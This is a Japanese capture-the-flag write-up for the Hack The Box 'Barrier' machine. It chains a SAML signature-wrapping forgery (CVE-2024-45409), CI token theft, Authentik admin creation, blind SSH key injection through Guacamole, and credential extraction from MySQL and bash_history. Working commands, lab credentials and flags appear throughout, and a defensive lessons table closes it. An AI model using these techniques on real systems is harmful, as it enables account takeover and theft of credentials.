Hack The BoxのWriteup(Barrier)[Medium]

※本サイトはアフィリエイト広告を利用しています。
広告

HackTheBox: Barrier — 全実行コマンド・実行結果レポート
Nmap スキャン
GitLab/Authentik/Tomcat
GitLab公開リポジトリ
旧コミットでsatoru平文PW
Authentik SSO発火
SAMLResponse捕捉(mitmproxy)
CVE-2024-45409
署名ラッピングでakadmin偽装
CI/CD Runner再開
.gitlab-ci.ymlでenv実行
AUTHENTIK_TOKEN窃取
Authentik superadmin作成
Guacamole乗っ取り
maki impersonate+鍵注入
MySQL資格情報
maki_adm鍵+bash_history
sudo → root.txt ✓

ポートスキャン

BASH
nmap -Pn -p- --min-rate 500 -T4 10.129.234.46
nmap -Pn -sV -sC -p 22,80,443,8080,9000,9443 10.129.234.46
RESULT
PORT     STATE SERVICE  VERSION
22/tcp   open  ssh      OpenSSH 8.9p1 Ubuntu 3ubuntu0.13
80/tcp   open  http     nginx (→ https へリダイレクト)
443/tcp  open  ssl/http nginx
| ssl-cert: Subject: commonName=gitlab.barrier.vl
| http-title: Sign in · GitLab
8080/tcp open  http     Apache Tomcat (Guacamole)
9000/tcp open  http     Golang net/http server (Authentik outpost)
9443/tcp open  tungsten-https (Authentik管理コンソール)
ℹ️
GitLab(443)、Authentik(9443、SSO基盤)、Guacamole(8080、リモートデスクトップ管理)の 3つの主要サービスが確認できる。ドメインはbarrier.vl、 GitLabのvhostはgitlab.barrier.vl
BASH
echo "10.129.234.46  barrier.vl gitlab.barrier.vl" | sudo tee -a /etc/hosts
PHASE 2

GitLab公開リポジトリから satoru の平文パスワードを窃取

公開リポジトリのコミット履歴を調査

NOTE
GitLabに匿名/ゲスト登録でアクセスすると、satoruが所有する公開リポジトリ
(認証連携用の自動化スクリプト等)が閲覧できる。そのリポジトリの
コミット履歴を遡ると、後のコミットで削除される前の旧バージョンの
ファイルにAuthentik/GitLab連携用のパスワードがハードコードされたまま
残っている。
RESULT
satoru : dGJ2V72SUEMsM3Ca
初期資格情報
satoru : dGJ2V72SUEMsM3Ca

Authentik へログイン

NOTE
https://barrier.vl:9443/if/flow/default-authentication-flow/ に
satoru:dGJ2V72SUEMsM3Ca でログイン。satoru はAuthentik上のアプリ一覧から
GitLabへのSSOリンクにアクセスできるが、GitLab側では特に権限のない
一般ユーザーとしてしかログインできない。
⚠️
Authentikのログイン画面は静的JSバンドル(FlowInterface-*.js、 約396KB)の配信が非常に遅く、初回描画に数十秒〜最大280秒程度 かかることがある。気長に待つ必要がある。
PHASE 3

CVE-2024-45409 SAML署名ラッピングで akadmin に偽装

脆弱性の背景

NOTE
GitLab 17.3.2 が使用する ruby-saml ライブラリ(<=1.16.0)は、
CVE-2024-45409 (GHSA-jw8x-8f22-hw6g) に脆弱。
SAMLResponseの署名検証をREXMLのID参照解決で行う一方、実際に認証情報
として読み出すAssertionは別のXPath経路(Nokogiri)で取得するため、
「有効な署名付きAssertionを samlp:Extensions 配下にラップして温存し
つつ、実際に読まれる位置(Response直下)に任意内容(NameID等)の新規
Assertionを配置する」ことで、署名検証を通過したまま任意ユーザーへの
なりすましが成立する(未認証の攻撃者でも、IdPが署名した何らかの
SAMLアサーションを1つでも入手できれば悪用可能)。

正規のSAMLResponseを捕捉

BASH (Burp Suiteでインターセプトする場合)
# Burp Proxy の Intercept を ON にした状態で、Authentikのアプリ一覧から
# GitLab を起動し、SSOのconsent確定ボタンをクリック。
# GitLabのACS(Assertion Consumer Service)への以下のリクエストを捕捉:
GET /users/auth/saml/callback?SAMLResponse= HTTP/1.1
Host: gitlab.barrier.vl
ℹ️
このリクエストを送信せずにインターセプトしたまま SAMLResponseパラメータの値をコピーする。これは satoru自身の正当な署名付きSAMLResponseであり、これから NameIDだけを書き換えて偽造の材料にする。

CVE-2024-45409 での署名ラッピング偽造

PYTHON (概念コード、Synacktiv CVE-2024-45409.py 相当)
from lxml import etree
import base64, zlib

xml = decode_saml_response(saml_response_b64)  # base64 + raw deflate展開
root = etree.fromstring(xml)

# 元の署名付き Assertion を temp 変数として保持し、samlp:Extensions 配下に移動
original_assertion = copy.deepcopy(find_assertion(root))
wrap_in_extensions(root, original_assertion)

# Response 直下に新規の偽装 Assertion (NameID=akadmin) を配置
forged_assertion = build_assertion(name_id="akadmin", id_ref=original_id)
insert_as_direct_child(root, forged_assertion)

forged_xml = etree.tostring(root)
forged_b64 = base64.b64encode(zlib.compress(forged_xml)[2:-4])
RESULT
CVE-2024-45409 署名ラッピング完了 → NameID=akadmin、
新規AssertionID=_b610c6f7777243639e63dde5dc7a5a3a
BASH (偽造したSAMLResponseをGitLabのACSへ送信)
curl -sk "https://gitlab.barrier.vl/users/auth/saml/callback" \
  --data-urlencode "SAMLResponse=<forged_base64>" -X POST \
  -c cookies.txt -L
署名検証はGitLab側で通過し、akadmin(GitLab管理者) としてログインしたセッションCookieを取得できる。

CI/CD Runner再開 → AUTHENTIK_TOKEN窃取

NOTE
akadminのAdmin Area(/admin/runners)には一時停止中のCI/CD Runnerが
存在する。これを再開(active=true)し、新規プロジェクトを作成して
以下の .gitlab-ci.yml を仕込み実行させることで、そのRunnerが持つ
環境変数(AUTHENTIK_TOKEN等)をジョブログ経由で窃取する。
YAML (.gitlab-ci.yml)
image:
  name: redis:alpine
stages:
  - build
job_build:
  stage: build
  script:
    - env
  tags:
    - auto_5e7f
RESULT (ジョブトレース抜粋)
AUTHENTIK_TOKEN=<Authentik APIトークン>
PHASE 4

Authentik API で superadmin を作成 → maki を impersonate

Authentik API でスーパー管理者ユーザーを作成

BASH
curl -sk https://barrier.vl:9443/api/v3/core/users/ \
  -H "Authorization: Bearer <AUTHENTIK_TOKEN>" \
  -H "Content-Type: application/json" \
  -d '{"username":"superadmin","name":"superadmin","is_active":true}'

curl -sk https://barrier.vl:9443/api/v3/core/groups/ \
  -H "Authorization: Bearer <AUTHENTIK_TOKEN>" | jq -r \
  '.results[] | select(.name=="authentik Admins") | .pk'

curl -sk "https://barrier.vl:9443/api/v3/core/groups/<admins_group_pk>/" \
  -X PATCH -H "Authorization: Bearer <AUTHENTIK_TOKEN>" \
  -H "Content-Type: application/json" \
  -d '{"users_obj":[{"pk":<superadmin_pk>}]}'
新規ユーザー superadminauthentik Admins グループに追加し、Authentik全体の管理者権限を獲得する。

Admin Interface から maki を Impersonate

NOTE
superadminでAuthentikにログインし、Admin Interface (/if/admin/) の
User一覧からmakiユーザーを選択、"Impersonate"機能を使うことで
makiとして操作できるセッションを得る。makiはGuacamole(Authentikの
Application/Outpost経由でforward-auth連携)の既存"Maintenance"接続に
アクセス権を持つ。
PHASE 5

Guacamoleブラインドコマンド注入 → maki_adm鍵回収 → root.txt

Guacamole SSH端末へのブラインドキー注入

NOTE
impersonateしたmakiでGuacamoleの既存"Maintenance" SSH接続に入る。
このターミナルはラスタ画像として描画されるため出力を直接読むことは
できないが、WebSocketプロトコル経由でキー入力を送信することはできる。
ここでは「読めなくても構わない」ブラインドなコマンド注入として、
自分のSSH公開鍵を対象ユーザーの ~/.ssh/authorized_keys に追記する
コマンドを送信する。
PYTHON (概念コード、Guacamole WebSocketプロトコル)
import websocket
ws = websocket.create_connection(
    "wss://barrier.vl:8080/guacamole/websocket-tunnel?..."
)
payload = f'echo "{attacker_pubkey}" >> ~/.ssh/authorized_keys\n'
for ch in payload:
    send_guac_key_instruction(ws, ch)  # 3..key,.,.1;
BASH (Kali側、鍵ペア生成)
ssh-keygen -t rsa -f barrier_id_rsa -N ""
BASH (鍵反映後、SSHログイン)
ssh -i barrier_id_rsa -o HostKeyAlgorithms=+ssh-rsa \
  -o PubkeyAcceptedKeyTypes=+ssh-rsa maki@10.129.234.46
⚠️
対象のSSHサーバーはssh-rsaホスト鍵しか提示せず、 現代のOpenSSHクライアントは既定で拒否するため -o HostKeyAlgorithms=+ssh-rsa -o PubkeyAcceptedKeyTypes=+ssh-rsa が必須(公式ウォークスルーでも同一の対処が明記されている)。

user.txt 取得

BASH
ssh -i barrier_id_rsa -o HostKeyAlgorithms=+ssh-rsa \
  -o PubkeyAcceptedKeyTypes=+ssh-rsa maki@10.129.234.46 "id; cat ~/user.txt"
RESULT
uid=1001(maki) gid=1001(maki) groups=1001(maki)
4362a7b53146da20027308a79212c667
user.txt — maki
4362a7b53146da20027308a79212c667

guacamole.properties から MySQL資格情報を取得

BASH
cat /etc/guacamole/guacamole.properties
RESULT
mysql-hostname: localhost
mysql-database: guac_db
mysql-username: guac_user
mysql-password: guac2024

guacamole_connection_parameter から maki_adm の秘密鍵を抽出

BASH
mysql -u guac_user -pguac2024 guac_db -N -B -e \
  "select parameter_value from guacamole_connection_parameter \
   where connection_id=2 and parameter_name='private-key'"

mysql -u guac_user -pguac2024 guac_db -N -B -e \
  "select parameter_value from guacamole_connection_parameter \
   where connection_id=2 and parameter_name='passphrase'"
⚠️
落とし穴: mysql -B(batchモード)は 値中の実改行を文字通りの \n(バックスラッシュ+n の 2文字)にエスケープして1行1レコードの出力形式を保つ、という MySQLクライアントの既定仕様がある。秘密鍵のような複数行の値を そのままファイルに保存すると、リテラルな\nが 残ったままの壊れたPEMファイルになりOpenSSH/opensslが解釈できない。 保存・使用前に\n→実改行、\t→タブ、 \\→バックスラッシュへ戻す必要がある。
RESULT
-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: AES-128-CBC,641356448A934274F5411C859C1FE00F
...(暗号化された鍵本体)...
-----END RSA PRIVATE KEY-----

passphrase: 3V32FN6oViMPxyzC

maki_adm でSSHログイン → bash_history から sudo パスワード

BASH
# パスフレーズ付き鍵を復号(または ssh -i でパスフレーズ入力)
ssh-keygen -p -P '3V32FN6oViMPxyzC' -N '' -f maki_adm_id_rsa

ssh -i maki_adm_id_rsa -o HostKeyAlgorithms=+ssh-rsa \
  -o PubkeyAcceptedKeyTypes=+ssh-rsa maki_adm@10.129.234.46 \
  "cat ~/.bash_history"
RESULT
sudo su
Va4kSjgTHSd55ZLv
maki_adm.bash_historyに、 sudo suコマンドの直後の行として 誤って平文でタイプされたパスワードがそのまま 残っている(シェルの通常動作: パスワード入力はエコーされない はずだが、履歴には別コマンドとして記録される典型的なミス)。

root.txt 取得

BASH
ssh -i maki_adm_id_rsa -o HostKeyAlgorithms=+ssh-rsa \
  -o PubkeyAcceptedKeyTypes=+ssh-rsa maki_adm@10.129.234.46 \
  "echo 'Va4kSjgTHSd55ZLv' | sudo -S cat /root/root.txt"
RESULT
[sudo] password for maki_adm: ab6dc59e99e1a3b43a8861b7b16dfb3d
root.txt — root (sudo経由)
ab6dc59e99e1a3b43a8861b7b16dfb3d
SUMMARY

攻略サマリー & 教訓

取得フラグ

user.txt — maki
4362a7b53146da20027308a79212c667
root.txt — root
ab6dc59e99e1a3b43a8861b7b16dfb3d

使用した脆弱性

脆弱性 対象 影響 深刻度 利用方法
GitLabリポジトリ平文パスワード 公開リポジトリの旧コミット 初期認証情報の漏洩 Medium コミット履歴を遡り削除前のハードコードパスワードを発見
CVE-2024-45409 ruby-saml (<=1.16.0) / GitLab 17.3.2 任意ユーザーへのSAMLなりすまし Critical 正規の署名付きSAMLResponseの署名付きAssertionをExtensions配下にラップ温存しつつ、実読み出し位置に偽装NameIDのAssertionを配置
CI/CD環境変数漏洩 GitLab Runner (再開可能な一時停止Runner) Authentik APIトークンの窃取 High envコマンドを実行するCI設定を仕込み、ジョブログから環境変数を読み取り
Guacamoleブラインドコマンド注入 ラスタ描画SSH端末 + WebSocket 出力を見ずに任意コマンド実行 High WebSocketキー入力を直接送信しauthorized_keysへ公開鍵を追記
bash_historyへの平文パスワード記録 maki_adm の .bash_history sudoパスワードの漏洩 Medium sudo su直後の行がコマンドとして誤って履歴に記録

攻撃チェーン全体の流れ

#フェーズ技術取得情報
1偵察nmap(GitLab/Authentik/Guacamole発見)サービス構成の把握
2資格情報窃取GitLab公開リポジトリの旧コミットsatoru:dGJ2V72SUEMsM3Ca
3SAML偽造CVE-2024-45409署名ラッピング + CI/CDトークン窃取akadmin権限 + AUTHENTIK_TOKEN
4Authentik乗っ取りsuperadmin作成 + maki impersonateGuacamoleアクセス権
5Guacamole悪用WebSocketブラインドキー注入SSH公開鍵仕込み → user.txt
6権限昇格MySQL資格情報→maki_adm鍵→bash_historysudoパスワード → root.txt

学んだ教訓 & 防御策

問題点防御策
公開リポジトリのコミット履歴に機密情報が残存している git-secrets等のpre-commitスキャンを導入し、機密情報混入コミットをブロック。既に混入した場合は履歴の完全書き換え(BFG Repo-Cleaner等)が必要。
ruby-samlの既知脆弱性(CVE-2024-45409)が未パッチのまま運用されている SSO関連ライブラリのセキュリティアドバイザリを継続監視し、迅速にパッチ適用する。SAML実装は署名検証と実際のデータ読み出しが同一のXMLパース経路を通ることを保証する設計にする。
一時停止中のCI/CD Runnerを管理者が誤って再開可能な状態にしている、かつRunner実行環境に機密トークンが平文で渡っている Runnerの有効化を厳格に承認制にし、CI/CD変数はマスク化・保護変数化する。envコマンド等での環境変数一覧出力をジョブログに残さないポリシーを適用。
Guacamoleのようなブラウザベースのリモートアクセスツールが、ラスタ描画のみでコマンド注入を検知できない Guacamole自体へのアクセス制御を最小権限化し、Authentikのimpersonate機能の使用を監査ログで厳格に追跡する。
sudo実行時のパスワードが誤って.bash_historyに平文記録される HISTIGNOREやシェル設定でパスワード類似パターンを履歴から除外し、sudoパスワードは可能な限りSSO/PAM連携で入力履歴に残らない方式にする。
HackTheBox: Barrier | 完全攻略レポート